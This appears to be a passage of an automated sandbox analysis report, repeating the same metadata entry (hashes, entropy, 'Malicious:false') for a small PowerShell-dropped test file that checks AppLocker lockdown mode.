                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
